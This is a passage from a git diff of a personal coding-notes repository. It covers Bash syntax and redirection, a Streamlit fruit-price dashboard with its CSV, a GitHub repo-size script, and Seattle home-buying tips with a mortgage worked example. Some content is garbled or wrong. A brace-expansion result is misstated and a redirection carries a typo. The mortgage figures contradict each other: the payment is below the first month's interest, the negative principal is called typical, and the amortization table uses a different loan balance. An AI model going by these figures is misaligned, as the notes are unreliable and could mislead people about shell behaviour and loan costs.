is its `exit status`, or `128+n` if the command is terminated by signal `n`. + + +## Pipelines + +A pipeline is a sequence of one or more commands separated by one of the control operators `|` or `|&`. + +1. If `|&` is used, the `standard error` of command1 is connected to command2's `standard input` through the pipe; it is shorthand for `2>&1 |`. + - This implicit redirection of the `standard error` is performed after any redirections specified by the command. + +The return status of a pipeline is the exit status of the last command, unless the pipefail option is enabled. +- If pipefail is enabled, the pipeline's return status is the value of the last (rightmost) command to exit with a non-zero status, or zero if all commands exit successfully. +- If the reserved word `!` precedes a pipeline, the exit status of that pipeline is the logical negation of the exit status as described above. +- The shell waits for all commands in the pipeline to terminate before returning a value. + + + +## Lists + +A list is a sequence of one or more pipelines separated by one of the operators `;, &, &&, or ||`, and optionally terminated by one of `;, &, or `. + +Of these list operators, && and || have equal precedence, followed by ; and &, which have equal precedence. + +A sequence of one or more newlines may appear in a list instead of a semicolon to delimit commands. + + +1. command is terminated by the control operator `&`, the shell executes the command in the background in a subshell. + - The shell does not wait for the command to finish + - the return status is 0. +2. Commands separated by a `;` are executed sequentially; + - the shell waits for each command to terminate in turn. + - The return status is **the exit status of the last command executed**. + + +AND and OR lists are sequences of one of more pipelines + +```bash +command1 && command2 +# command2 is executed only if command1 returns an exit status of zero. + +command1 || command2 +# command2 is executed only if command1 returns a non-zero exit status. +# The return status of AND and OR lists is the exit status of the last command executed in the list. +``` + + +## Compound Commands + +A compound command is one of the following: +1. `(list)` + - list is executed in a subshell environment. + - Variable assignments and builtin commands that affect the shell's environment do not remain in effect after the command completes. + - The return status is the exit status of list. + +2. { list; } + - list is executed in the current shell environment. + - The list must be terminated with a newline or semicolon. This is known as a group command. + - The return status is the exit status of list. + - unlike the metacharacters ( and ), { and } are reserved words and must occur where a reserved word is permitted to be recognized. Since they do not cause a word break, they must be separated from list by whitespace or another shell metacharacter. + +3. ((expression)) + - The expression is evaluated according to the rules described below in the section "Arithmetic Evaluation". + - If the value of the expression is non-zero, the return status is 0; otherwise the return status is 1. + - This is exactly equivalent to `let "expression"`. + +4. [[ expression ]] + - Return a status of 0 or 1 depending on the evaluation of the conditional expression expression. + - Expressions are composed of the primaries described below under the section "Conditional Expressions." + - Word splitting and pathname expansion are not performed on the words between the [[ and ]]; tilde expansion, parameter and variable expansion, arithmetic expansion, command substitution, process substitution, and quote removal are performed. + - Conditional operators such as -f must be unquoted to be recognized as primaries. + - When used with [[, the < and > operators sort lexicographically using the current locale + +When the == and != operators are used, the string to the right of the operator is considered a pattern and matched according to the rules described below under Pattern Matching. If the shell option nocasematch is enabled, the match is performed without regard to the case of alphabetic characters. The return value is 0 if the string matches (==) or does not match (!=) the pattern, and 1 otherwise. Any part of the pattern may be quoted to force it to be matched as a string. + + +## expression + +```bash +( expression ) +# Returns the value of expression. +# This may be used to override the normal precedence of operators. + +! expression +# True if expression is false. + +expression1 && expression2 +# True if both expression1 and expression2 are true. +expression1 || expression2 +# True if either expression1 or expression2 is true. +# The && and || operators do not evaluate expression2 if the value of expression1 is sufficient to determine the return value of the entire conditional expression. + +for name [ [ in [ word ... ] ] ; ] do list ; done +# The list of words following in is expanded, generating a list of items. +# The variable name is set to each element of this list in turn, and list is executed each time. +# If the in word is omitted, the for command executes list once for each positional parameter that is set (see the "Parameters" section below). +# The return status is the exit status of the last command that executes. +# If the expansion of the items following in results in an empty list, no commands are executed, and the return status is 0. + + +for (( expr1 ; expr2 ; expr3 )) ; do list ; done +# First, the arithmetic expression expr1 is evaluated. +# The arithmetic expression expr2 is then evaluated repeatedly until it evaluates to zero. +# Each time expr2 evaluates to a non-zero value, list is executed and the arithmetic expression expr3 is evaluated. +# If any expression is omitted, it behaves as if it evaluates to 1. +# The return value is the exit status of the last command in list that is executed, or false if any of the expressions is invalid. + +select name [ in word ] ; do list ; done +# The list of words following in is expanded, generating a list of items. The set of expanded words is printed on the standard error, each preceded by a number. If the in word is omitted, the positional parameters are printed. +# The PS3 prompt is then displayed and a line read from the standard input. +# If the line consists of a number corresponding to one of the displayed words, then the value of name is set to that word. +# If the line is empty, the words and prompt are displayed again. +# If EOF is read, the command completes. +# Any other value read causes name to be set to null. +# The line read is saved in the variable REPLY. The list is executed after each selection until a break command is executed. +# The exit status of select is the exit status of the last command executed in list, or zero if no commands were executed. + +case word in [ [(] pattern [ | pattern ] ... ) list ;; ] ... esac +# A case command first expands word, and tries to match it against each pattern in turn, using the same matching rules as for pathname expansion. The word is expanded using tilde expansion, parameter and variable expansion, arithmetic substitution, command substitution, process substitution and quote removal. Each pattern examined is expanded using tilde expansion, parameter and variable expansion, arithmetic substitution, command substitution, and process substitution. If the shell option nocasematch is enabled, the match is performed without regard to the case of alphabetic characters. When a match is found, the corresponding list is executed. If the ;; operator is used, no subsequent matches are attempted after the first pattern match. Using ;& in place of ;; causes execution to continue with the list associated with the next set of patterns. Using ;;& in place of ;; causes the shell to test the next pattern list in the statement, if any, and execute any associated list on a successful match. The exit status is zero if no pattern matches. Otherwise, it is the exit status of the last command executed in list. + +if list; then list; [ elif list; then list; ] ... [ else list; ] fi +# The if list is executed. If its exit status is zero, the then list is executed. Otherwise, each elif list is executed in turn, and if its exit status is zero, the corresponding then list is executed and the command completes. Otherwise, the else list is executed, if present. The exit status is the exit status of the last command executed, or zero if no condition tested true. + +while list-1; do list-2; done until list-1; do list-2; done +# The while command continuously executes the list list-2 as long as the last command in the list list-1 returns an exit status of zero. The until command is identical to the while command, except that the test is negated; list-2 is executed as long as the last command in list-1 returns a non-zero exit status. The exit status of the while and until commands is the exit status of the last command executed in list-2, or zero if none was executed. +``` + +--- + +# Parameters + +```bash + +name=[value] +# A variable assigned by a statement +# If value is not given, the variable is assigned the null string. + + +``` + + +--- + +## Arrays +- Bash provides one-dimensional indexed and associative array variables. Any variable may be used as an indexed array; +- There is no maximum limit on the size of an array, nor any requirement that members be indexed or assigned contiguously. +- `-a`: `Indexed arrays` are referenced using integers (including arithmetic expressions) and are zero-based; +- `-A`: `associative arrays` are referenced using arbitrary strings. + +```bash +# the declare builtin will explicitly declare an array. +declare -a name[subscript] + +# An indexed array is created automatically if any variable is assigned to +name[subscript]=value. + +# Any element of an array +${name[subscript]} +# If subscript is @ or *, the word expands to all members of name. + +# These subscripts differ only when the word appears within double quotes. +# If the word is double-quoted, ${name[*]} expands to a single word with the value of each array member separated by the first character of the IFS special variable, and ${name[@]} expands each element of name to a separate word. When there are no array members, ${name[@]} expands to nothing. If the double-quoted expansion occurs within a word, the expansion of the first parameter is joined with the beginning part of the original word, and the expansion of the last parameter is joined with the last part of the original word. This is analogous to the expansion of the special parameters * and @ (see the section "Special Parameters" above). + +# length of array +${#name[subscript]} +# If subscript is * or @, the expansion is the number of elements in the array. +# Referencing an array variable without a subscript is equivalent to referencing the array with a subscript of 0. + +# to destroy arrays. +unset name +unset name[subscript] +unset name[*] +unset name[@] +# destroys the array element at index subscript. + + +``` + +--- + +## expansion + +seven kinds of expansion performed: +- brace expansion, +- tilde expansion, +- parameter and variable expansion, +- command substitution, +- arithmetic expansion, +- word splitting, +- and pathname expansion. + +1. Brace expansion + +```bash +a{d,c,b}e +# ade ace abe + +mkdir /usr/local/src/bash/{old,new,dist,bugs} +# /usr/local/src/bash/old +# /usr/local/src/bash/new +# /usr/local/src/bash/dist,bugs + +chown root /usr/{ucb/{ex,edit},lib/{ex?.?*,how_ex}} +# /usr/ucb/ex +# /usr/ucb/edit +# ../lib/ex?.?* +# ../lib/how_ex + +``` + +2. Command substitution + +```bash +# allows the output of a command to replace the command name. +$(command) +`command` + +$(cat file) +$(< file) +``` + +3. Arithmetic expansion + +```bash +# allows the evaluation of an arithmetic expression and the substitution of the result. + +$((expression)) + +# The old format +$[expression] +# is deprecated and will be removed in upcoming versions of bash. +``` + +--- + +# redirection + + +## stdin stdout stderr redirect + +```bash +# 0< stdin +# 1> stdout +# 2> stderr + +----------------------------- + +$ echo hello > hello.txt +$ echo world > hello.txt +# world + +$ echo hello > hello.txt +$ echo world >> hello.txt +# hello world +# Appending redirected output + +----------------------------- + +$ echo hello 1> hello.txt +# hello + +$ wrongcommand +# wrongcommand: command not found + +$ wrongcommand > error.txt +# error.txt: nothing + +$ wrongcommand 2> error.txt +# error.txt: wrongcommand: command not found + +----------------------------- + +$ ./test.py 1> out.txt +# out.txt: output + +$ ./test.py 2>1 1> out.txt +# 1: error +# out.txt: output + +$ ./test.py 2>&1 1> out.txt +# file descriptor screen: display error +# out.txt: output + +$ ./test.py 1> out.txt 2>$1 +$ ./test.py > out.txt 2>$1 +$ ./test.py &> out.txt +$ ./test.py >& out.txt +# out.txt: error, output + +$ cat 0< out.txt +$ cat < out.txt +# = cat out.txt +``` + + + + +--- + +# command + +--- + +## exec + +```bash +exec rbash +# Replace the current bash shell with rbash, the restricted bash login shell. Because the original bash shell is destroyed, the user will not be returned to a privileged bash shell when rbash exits. + +exec > output.txt +# Redirect all output to the file output.txt for the current shell process. +# Redirections are a special case, and exec does not destroy the current shell process, but bash will no longer print output to the screen, writing it to the file instead. (This technique is much more useful in scripts — if the above command is executed in a script, all script output will be written to output.txt.) + +exec 3< myinfile.txt +# Open myinfile.txt for reading ("<") on file descriptor 3. +# explicitly opening a file descriptor +# After running the above command, you can read a line of myinfile.txt by running the read command with the -u option: + +read -u 3 mydata +# "-u 3" tells read to get its data from file descriptor 3, which refers to myinfile.txt. +# The contents are read, one line at a time, into the variable mydata. This would be useful if used as part of a while loop, for example. + + + +# open and close new file descriptors. + +exec 4> out.txt +# opens out.txt for writing (">") on file descriptor 4. + +exec 3<&- +# Close ("&-") the open read descriptor ("<") number 3. + +exec 4>&- +# Close the open write descriptor (">") number 4. + +exec 5<> myfile.txt +# Open myfile.txt for reading and writing ("<>") as file descriptor 5. + +exec 5<>&- +# Close open read/write descriptor 5. + +exec 6>> myappendfile.txt +# Open myappendfile.txt for appending (">>") as file descriptor 6. + +exec {myfd}> out.txt +# Open myfile.txt for writing. A new file descriptor number, chosen automatically, is assigned to the variable myfd. + +echo Text >&myfd +# Echo the text "Text" and redirect the output to the file (in this case, myfile.txt) described by the write descriptor (">") whose number is obtained by dereferencing ("&") the variable named myfd. +``` + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/project/.DS_Store b/_posts/00CodeNote/project/.DS_Store new file mode 100644 index 00000000000..01f073a796d Binary files /dev/null and b/_posts/00CodeNote/project/.DS_Store differ diff --git a/_posts/00CodeNote/project/Streamlit/Streamlit.md b/_posts/00CodeNote/project/Streamlit/Streamlit.md new file mode 100644 index 00000000000..40f1649c5ac --- /dev/null +++ b/_posts/00CodeNote/project/Streamlit/Streamlit.md @@ -0,0 +1,80 @@ +# Streamlit + +## Streamlit overveiw + +- open-source Python framework designed to turn data scripts into interactive web apps with minimal code — no frontend or web framework knowledge required. + +- You write a normal Python script, sprinkle in some Streamlit commands (for charts, tables, widgets, text, etc.), then run it via: `streamlit run the_script.py` +- and a local server spins up; the app appears in the browser. + +- As you change and save the code, Streamlit detects it and prompts you to rerun — giving a very quick feedback loop (code → app → modify → code → etc.). + +- Because of this, Streamlit is especially good for: +- Data visualization and exploration (charts, tables, maps). +- Interactive dashboards or data apps (with filters, user inputs, controls). +- Rapid prototyping / minimum viable products (MVPs) for ML / data-driven tools. + +--- + +## Main Programming Model & Concepts + +- The re-run model / data flow +- Every time you launch the app or a user interacts with a widget (slider, button, input, etc.), Streamlit re-runs the entire script from top to bottom. + +- This design means you don’t need to manually manage UI state or “which part of the page changed” — Streamlit handles that for you. + +- For expensive or long-running computations, you can use caching (via decorators like @st.cache_data) so that repeated runs don’t re-compute everything. + +- ● Displaying data & UI elements +- Use built-in functions like st.write(), st.text(), st.line_chart(), st.map(), etc. to show text, tables, charts, maps. + +- Streamlit supports “magic” — meaning if you simply write a variable or DataFrame on its own line (instead of calling st.write()), Streamlit will render it automatically. + +- ● Widgets & interactivity +- Widgets like st.slider, st.selectbox, st.button, st.text_input, etc. let you collect user input. The value(s) from these widgets can be used like normal Python variables. + +- To maintain state (e.g. store user selections across runs), you can use widget keys or the session-state API. + +- ● Layout controls +- Layout helpers: st.sidebar lets you build a sidebar for controls (filters, options), while keeping main screen for primary output. + +- You can also use st.columns for multi-column layouts, and st.expander to hide/show parts of content. + +- For long operations or to show progress, functions like st.progress() or st.spinner() can provide feedback. + + +--- + +## Example: Build a Simple Data-App + +- A prototypical example from the docs (their “Create an app” tutorial) goes roughly: + +- import streamlit as st +- import pandas as pd + +- st.title("My first data app") + +- df = pd.read_csv("data.csv") +- st.write(df) # show raw data +- st.line_chart(df["value"]) # draw a line chart + +- x = st.slider("Pick a number", 0, 100) +- st.write("You picked:", x, "— double that is", x * 2) +- Then run: +- streamlit run my_app.py +- Every time you change something in the script and save → Streamlit reloads, and the app view updates. +- You can easily extend this: add filters (sliders, selectboxes), live charts, tables, maps, caching for expensive computations, layout tweaks, sidebars, etc. +- 🔎 What’s New / Recent Features (as of latest docs) +- According to the “What’s new” section on the docs homepage, recent updates to Streamlit include: +- Streamlit Docs +- Custom Components v2 — ability to create frameless custom UI with bidirectional data flow using st.components.v2.component. +- Streamlit Docs +- Theming support (light & dark mode) — you can configure both light and dark themes in the app. +- Streamlit Docs +- More granular spacing controls (vertical/horizontal) via st.space. +- Streamlit Docs +- Flex container support — charts & dataframes now accept width/height parameters to play nicely in flexible container layouts. +- Streamlit Docs +- Improved widget identity via keys — more widgets use key-based identity to avoid unwanted resets when parameters change. +- Streamlit Docs +- These improvements make it easier to build polished, responsive, customizable interfaces — not just quick prototypes. diff --git a/_posts/00CodeNote/project/Streamlit/app.py b/_posts/00CodeNote/project/Streamlit/app.py new file mode 100644 index 00000000000..6cfa0a3d8f8 --- /dev/null +++ b/_posts/00CodeNote/project/Streamlit/app.py @@ -0,0 +1,167 @@ +import altair as alt +import pandas as pd +import streamlit as st + +# ----------- Custom Theme ----------- +st.set_page_config( + page_title="Fruit Price Tracker", + page_icon="🍓", + layout="wide", + initial_sidebar_state="expanded", +) + +# ----------- Light/Dark Mode Toggle ----------- +dark_mode = st.sidebar.toggle("🌙 Dark Mode", value=False) + +if dark_mode: + # Dark theme (CSS injection) + st.markdown( + """ + + """, + unsafe_allow_html=True, + ) +else: + # Light theme + st.markdown( + """ + + """, + unsafe_allow_html=True, + ) + +# ----------- Title ----------- +st.title("🍎 Fruit Price Comparison Dashboard") + +# Load data +df = pd.read_csv("fruit_prices.csv") + +# ----------- Sidebar filters ----------- +st.sidebar.header("Filters") + +fruit_list = sorted(df["fruit"].unique()) +shop_list = sorted(df["shop"].unique()) + +selected_fruit = st.sidebar.multiselect( + "Select Fruit", options=fruit_list, default=fruit_list +) + +selected_shop = st.sidebar.multiselect( + "Select Shop", options=shop_list, default=shop_list +) + +# Filter data +filtered_df = df[(df["fruit"].isin(selected_fruit)) & (df["shop"].isin(selected_shop))] + +# ----------- Tabs ----------- +tab1, tab2, tab3, tab4 = st.tabs( + ["📄 Data Table", "📈 Charts", "📊 Shop Comparison", "🔍 Analytics"] +) + +# ------------------------------------------------------------------- +# Tab 1 – Data Table +# ------------------------------------------------------------------- +with tab1: + st.subheader("📄 Filtered Price Table") + st.dataframe(filtered_df, use_container_width=True) + + pivot_df = filtered_df.pivot(index="fruit", columns="shop", values="price") + st.subheader("📊 Pivot Comparison Table") + st.dataframe(pivot_df, use_container_width=True) + +# ------------------------------------------------------------------- +# Tab 2 – Line Chart by Fruit +# ------------------------------------------------------------------- +with tab2: + st.subheader("📈 Price Trend (Line Chart)") + + line_chart = ( + alt.Chart(filtered_df) + .mark_line(point=True) + .encode( + x=alt.X("shop:N", title="Shop"), + y=alt.Y("price:Q", title="Price ($)"), + color="fruit:N", + ) + .properties(height=350) + ) + + st.altair_chart(line_chart, use_container_width=True) + +# ------------------------------------------------------------------- +# Tab 3 – Bar Chart by Shop +# ------------------------------------------------------------------- +with tab3: + st.subheader("🏪 Shop Price Comparison (Bar Chart)") + + bar_chart = ( + alt.Chart(filtered_df) + .mark_bar() + .encode( + x=alt.X("fruit:N", title="Fruit"), + y=alt.Y("price:Q", title="Price ($)"), + color="shop:N", + column="shop:N", + ) + .properties(height=350) + ) + + st.altair_chart(bar_chart, use_container_width=True) + +# ------------------------------------------------------------------- +# Tab 4 – Analytics +# ------------------------------------------------------------------- +with tab4: + st.subheader("🔍 Automated Pricing Analysis") + + # Average price per fruit + avg_price = filtered_df.groupby("fruit")["price"].mean().reset_index() + avg_price.columns = ["fruit", "average_price"] + + st.write("### 🍉 Average Price per Fruit") + st.dataframe(avg_price, use_container_width=True) + + # Cheapest + Most Expensive shops + st.write("### 🏆 Cheapest & Most Expensive Shops") + + cheapest = filtered_df.loc[filtered_df["price"].idxmin()] + most_expensive = filtered_df.loc[filtered_df["price"].idxmax()] + + col1, col2 = st.columns(2) + + with col1: + st.success( + f""" + 🥇 **Cheapest Price** + - Fruit: **{cheapest['fruit']}** + - Shop: **{cheapest['shop']}** + - Price: **${cheapest['price']:.2f}** + """ + ) + + with col2: + st.error( + f""" + 💰 **Most Expensive Price** + - Fruit: **{most_expensive['fruit']}** + - Shop: **{most_expensive['shop']}** + - Price: **${most_expensive['price']:.2f}** + """ + ) + + # Summary message + st.info( + "📌 Summary: These insights help you quickly identify the best shop for each fruit and overall price differences." + ) diff --git a/_posts/00CodeNote/project/Streamlit/fruit_prices.csv b/_posts/00CodeNote/project/Streamlit/fruit_prices.csv new file mode 100644 index 00000000000..612a1e3eef4 --- /dev/null +++ b/_posts/00CodeNote/project/Streamlit/fruit_prices.csv @@ -0,0 +1,10 @@ +shop,fruit,price,,, +A,apple,1.2,,, +A,banana,0.8,,, +A,peach,1.5,,, +B,apple,1.1,,, +B,banana,0.75,,, +B,peach,1.6,,, +C,apple,1.25,,, +C,banana,0.85,,, +C,peach,1.55 \ No newline at end of file diff --git a/_posts/00CodeNote/project/github_repo_finder/run.py b/_posts/00CodeNote/project/github_repo_finder/run.py new file mode 100644 index 00000000000..166ce2c8a59 --- /dev/null +++ b/_posts/00CodeNote/project/github_repo_finder/run.py @@ -0,0 +1,47 @@ +import concurrent.futures + +import requests + + +# Function to fetch repository size +def get_repo_size(url): + repo_name = url.split("/")[-1].strip() + response = requests.get(f"https://api.github.com/repos/{repo_name}") + if response.status_code == 200: + repo_data = response.json() + return repo_data.get("size", "NA") + else: + return "NA" + + +# Task 1: Copying fileA to fileB +with open("fileA.txt") as infile, open("fileB.txt", "w") as outfile: + outfile.write(infile.read()) + +# Task 2: Getting repository sizes +with concurrent.futures.ThreadPoolExecutor() as executor: + urls = [line.strip() for line in open("fileA.txt")] + repo_sizes = list(executor.map(get_repo_size, urls)) + +# Task 3: Updating fileB with repository sizes +with open("fileB.txt", "r+") as fileB: + for url, size in zip(urls, repo_sizes): + fileB.write(f"{url}\nSize: {size}\n") + +# Task 4: Retrying repository sizes +with concurrent.futures.ThreadPoolExecutor() as executor: + for url, size in zip(urls, repo_sizes): + if size == "NA": + retries = 0 + while retries < 3: + new_size = executor.submit(get_repo_size, url).result() + if new_size != "NA": + with open("fileB.txt") as fileB: + file_content = fileB.read() + updated_content = file_content.replace( + url, f"{url}\nSize: {new_size}\n" + ) + with open("fileB.txt", "w") as fileB: + fileB.write(updated_content) + break + retries += 1 diff --git a/_posts/00CodeNote/project/home/Readme.md b/_posts/00CodeNote/project/home/Readme.md new file mode 100644 index 00000000000..0445c78636e --- /dev/null +++ b/_posts/00CodeNote/project/home/Readme.md @@ -0,0 +1,459 @@ + +- [loan](#loan) +- [public info](#public-info) +- [DADU](#dadu) +- [sewer](#sewer) +- [rate](#rate) +- [cash](#cash) +- [remodel](#remodel) + - [designer](#designer) +- [inspection](#inspection) +- [Questions](#questions) + + + +## loan + +- 5 years ago Bank of America ended up being the cheapest. Tried two loan officers + cold-walk-ins to major banks + +- using a local company for your mortgage broker has some advantages in that they specialize just in Seattle and so on, but once the mortgage is locked in they'll sell it on to some big national bank ultimately. So you'll do like one or two payments to the local bank, and then switch to whoever takes it over. Doesn't really matter at the end of the day who owns your mortgage, since the main concern is getting that good service during the actual purchasing period. + +- Zillow. You can get quotes from various places through them: https://www.zillow.com/mortgages/ + + + +## public info + +- The KC [parcel viewer](https://gismaps.kingcounty.gov/parcelviewer2/) and [record search](https://recordsearch.kingcounty.gov/LandmarkWeb/search/index?theme=.blue§ion=searchCriteriaParcelId&quickSearchSelection=) are two valuable sources of information at your disposal when deciding to make an offer. + +- Seattle also has the [microfilm library](https://www.seattle.gov/sdci/about-us/who-we-are/public-resource-center) that might have more information; however that takes time to get but I did get my home's blueprints. There is a ton of data there so making meaning out of it can be non trivial and overwhelming. + + +## DADU + +- in Seattle in particular, certain size lots will allow you build a DADU (backyard cottage, Detached Accessory Dwelling Unit) and some houses include an ADU (like a mother-in-law suite, Accessory Dwelling Unit). + +- These can really help pay the mortgage in an expensive area like Seattle. + +- check whether a prospective property is compatible with DADU construction https://mykabin.com/ + +- looking in Seattle for places zoned SF5000, SF7500, etc and are thinking of DADU and ADU - know that you may be competing with developers since developers buy a tear down, build a DADU and ADU, and condoize the lot since it's a pretty lucrative deal. + +- There’s a Seattle website out there that will tell you what’s feasible based on the parcel id: https://aduniverse-seattlecitygis.hub.arcgis.com/pages/feasibility + + +## sewer + +- use the county [website](https://gisrevprxy.seattle.gov/wab_ext/DSOResearch_Ext/) to find the sewer lines and look for disproportionately thriving greenery around the sewer line + + + +## rate + + +Shop around for rates, I found the best rates: https://www.sammamishmortgage.com/ + + +for neighborhoods you're interested in, find a few realtors who specialize in those areas and have a phone call or coffee with them to see if you click. +' + + +- Don’t let anyone pressure you into buying a property you don’t like + +- go to open houses as much as possible. + + +- Homes can end up going for above (or quite possibly below) the list price. + + +- You might have more leverage to negotiate as a buyer if a home lingered on the market for some time (e.g. over 30 days). + + +- if at all feasible, see what kind of loan you can qualify for on just one of your incomes; do whatever you can to avoid getting saddled with a loan at the limits of what you can qualify for when you are both working 100% of the jobs you currently have + + +## cash + +- need to have some cash available for whatever that first year in the house turns up, stuff will definitely turn up, maybe 10-20k of buffer on hand. + + +- consider how long you plan to stay in the home. It’s much easier to accept compromises if your plan is to only stay for say 5 years vs. 30 + + + + + + +## remodel + +- buying a larger house and remodeling it is easier/cheaper than buying a smaller house and doing a addition. + +- I Love love love old homes and they are beautiful but... updating them or opening up walls can really be $$$$$ + + +- If you have to choose between sqft vs how good the interiors look, go with larger sqft and you can always update interiors. + + +- Plumbing related work is expensive. A remodel involving bathroom/kitchen are expensive + + +- Old homes are a mixed bag like the quality of some parts of the home your just not gonna get now. Like beautiful hardwood floors and just the details and character. New homes are often crappier materials but easier to fix when they break + + +- The most beginner-friendly homes are apartments (not houses) that are already renovated. They come with the least hassle and costs. + + +- Updating floor materials, wall colors, removing walls and removing storage is cheap and quick. Renovating kitchens and bathrooms is not. Windows are expensive and extensions are the hardest to pull off. + + +### designer + +- If you'll undertake a major renovation, start finding an architect or interior designer and researching materials and providers (with delivery timelines) before you buy. This process often takes 2-3 months in which your new house would be sitting idle. +- I have seen many friends get into 2-year-long money pits for just hiring a "good builder" and launching into major renovations without an architect or any plans. And often the result is just what they ended up accepting because they couldn't cope with it dragging on any longer. Hire a professional who will protect you from common pitfalls from builders. + + +## inspection + +- get it checked out before you buy, its worth the cost. I once had a plumbing issue cost over 13k for a 100 year old homes. I don't know the water situation in seattle but septic and well can end up costing a lot to maintain and depending on how hard the water it can destroy hot water heaters and appliances with out proper filtration. If the choice is between a house on city services / well / septic, i would take city every day. + + +--- + + +## Questions + + +for one person +- annual income: 210,000 +- unmarried +- other tax deduction: 8,000/year + + +House purchase +- Purchase Price: `$940,000` +- Down Payment: 20% (`$188,000`) +- Loan Amount: `$752,000` (`$940,000 - $188,000`) +- back home loan Rate: 6.625% +- Loan Term: 30 years (360 months) fixed +- closing fee: `$10,000 ` +- lender fee: `$5,000` + + +Q: +- how many tax benefits can he get from below home purchase +- how much total interest will he pay? +- what's the monthly payment? + + + +Expense Example Assumption: +- Let's assume an annual property insurance cost of `$1,500` and an annual maintenance cost of `$3,000.` +- Total Annual Expenses = Property Tax + Property Insurance + Maintenance +- = `$11,280 + $1,500 + $3,000` +- = `$15,780` + + +Tax Benefits: +- The primary tax benefits in this case would come from the `mortgage interest deduction` and `property tax deduction`. +- Mortgage Interest Deduction: + - The annual interest paid on the mortgage can be deducted from the annual income before calculating the tax. + - Assuming an interest rate of 6.625% on a `$752,000` loan + - the interest paid in the first year would be around `$49,840`. + - This would provide a tax deduction of `$49,840`. +- Property Tax Deduction: + - The annual property tax deduction would depend on the local property tax rate. + - Assuming a property tax rate of 1.2%, the annual property tax would be `$11,280`. + - Deducting the property tax from the income would provide an additional tax benefit of `$11,280`. +- The total tax benefits from the home purchase: + - the sum of the mortgage interest deduction and property tax deduction + - `$49,840 + $11,280` = `$61,120`. + + +Remaining Tax: +- Annual income: `$210,000` +- Tax benefits: `$61,120` +- Other tax deduction: `$8,000` +- Taxable income = `$210,000 - $61,120 - $8,000` = `$140,880` +- The remaining tax would depend on the tax bracket the individual falls into based on their taxable income. + +Total Interest Paid: approximately `$518,260`. + +Monthly Payment: approximately `$4,811.` This includes both principal and interest. + +```java +// # Principal Payment: +Principal Payment = Total Monthly Payment - Monthly Interest + = Monthly Payment - Monthly Interest + = $4,811.00 - $4,940.42 + ≈ $-129.42 + (Note: The principal payment is negative because the interest + payment is higher than the total payment in this case. This is + typical for the early stages of a mortgage.) + +// # Interest Payment: This is the amount of interest that is paid for the first month. +Interest Payment = Monthly Interest + ≈ $4,940.42 + +// # Total Monthly Payment: This is the sum of the principal payment and the interest payment. +Total Monthly Payment = Principal Payment + Interest Payment + = $-129.42 + $4,940.42 + ≈ $4,811.00 +``` + + +```bash +# mortgage payments for the first 30 months of the loan: +| Month | Starting Balance | Monthly Payment | Interest Payment | Principal Payment | Additional Payment | Ending Balance | +| ----- | ---------------- | --------------- | ---------------- | ----------------- | ------------------ | -------------- | +| 1 | $744,000.00 | $4,825.57 | $4,185.00 | $640.57 | $0.00 | $743,359.43 | +| 2 | $743,359.43 | $4,825.57 | $4,181.40 | $644.17 | $0.00 | $742,715.26 | +| 3 | $742,715.26 | $4,825.57 | $4,177.77 | $647.80 | $0.00 | $742,067.46 | +| 4 | $742,067.46 | $4,825.57 | $4,174.13 | $651.44 | $0.00 | $741,416.02 | +| 5 | $741,416.02 | $4,825.57 | $4,170.47 | $655.10 | $0.00 | $740,760.91 | +| ... | +| 13 | $736,070.83 | $4,825.57 | $4,140.40 | $685.17 | $0.00 | $735,385.66 | +| 14 | $735,385.66 | $4,825.57 | $4,136.54 | $689.03 | $0.00 | $734,696.64 | +| 15 | $734,696.64 | $4,825.57 | $4,132.67 | $692.90 | $0.00 | $734,003.73 | +| 16 | $734,003.73 | $4,825.57 | $4,128.77 | $696.80 | $0.00 | $733,306.93 | +| ... | +| 25 | $727,589.57 | $4,825.57 | $4,092.69 | $732.88 | $0.00 | $726,856.69 | +| 26 | $726,856.69 | $4,825.57 | $4,088.57 | $737.00 | $0.00 | $726,119.69 | +| 27 | $726,119.69 | $4,825.57 | $4,084.42 | $741.15 | $0.00 | $725,378.55 | +| ... | +| 97 | $662,757.23 | $4,825.57 | $3,728.01 | $1,097.56 | $0.00 | $661,659.67 | +| 98 | $661,659.67 | $4,825.57 | $3,721.84 | $1,103.73 | $0.00 | $660,555.94 | +| 99 | $660,555.94 | $4,825.57 | $3,715.63 | $1,109.94 | $0.00 | $659,446.00 | +| ... | +| 145 | $602,469.69 | $4,825.57 | $3,388.89 | $1,436.68 | $0.00 | $601,033.01 | +| 146 | $601,033.01 | $4,825.57 | $3,380.81 | $1,444.76 | $0.00 | $599,588.25 | +| 147 | $599,588.25 | $4,825.57 | $3,372.68 | $1,452.89 | $0.00 | $598,135.36 | +| ... | +| 217 | $475,377.44 | $4,825.57 | $2,674.00 | $2,151.57 | $0.00 | $473,225.87 | +| 218 | $473,225.87 | $4,825.57 | $2,661.90 | $2,163.67 | $0.00 | $471,062.19 | +| 219 | $471,062.19 | $4,825.57 | $2,649.72 | $2,175.85 | $0.00 | $468,886.35 | +| 220 | $468,886.35 | $4,825.57 | $2,637.49 | $2,188.08 | $0.00 | $466,698.26 | +| ... | +| 265 | $357,194.45 | $4,825.57 | $2,009.22 | $2,816.35 | $0.00 | $354,378.10 | +| 266 | $354,378.10 | $4,825.57 | $1,993.38 | $2,832.19 | $0.00 | $351,545.90 | +| 267 | $351,545.90 | $4,825.57 | $1,977.45 | $2,848.12 | $0.00 | $348,697.78 | +| 268 | $348,697.78 | $4,825.57 | $1,961.43 | $2,864.14 | $0.00 | $345,833.63 | +| ... | +| 337 | $108,052.73 | $4,825.57 | $607.80 | $4,217.77 | $0.00 | $103,834.96 | +| 338 | $103,834.96 | $4,825.57 | $584.07 | $4,241.50 | $0.00 | $99,593.46 | +| 339 | $99,593.46 | $4,825.57 | $560.21 | $4,265.36 | $0.00 | $95,328.11 | +| 340 | $95,328.11 | $4,825.57 | $536.22 | $4,289.35 | $0.00 | $91,038.76 | +| ... | +| 357 | $19,033.68 | $4,825.57 | $107.06 | $4,718.51 | $0.00 | $14,315.18 | +| 358 | $14,315.18 | $4,825.57 | $80.52 | $4,745.05 | $0.00 | $9,570.13 | +| 359 | $9,570.13 | $4,825.57 | $53.83 | $4,771.74 | $0.00 | $4,798.39 | +| 360 | $4,798.39 | $4,825.57 | $26.99 | $4,798.58 | $0.00 | $-0.19 | + + +1-12 yearly_interest_payment: --> $45,833.44 +2-24 yearly_interest_payment: --> $49,473.02 +3-36 yearly_interest_payment: --> $48,885.79 +4-48 yearly_interest_payment: --> $48,257.67 +5-60 yearly_interest_payment: --> $47,585.82 +6-72 yearly_interest_payment: --> $46,867.19 +7-84 yearly_interest_payment: --> $46,098.52 +8-96 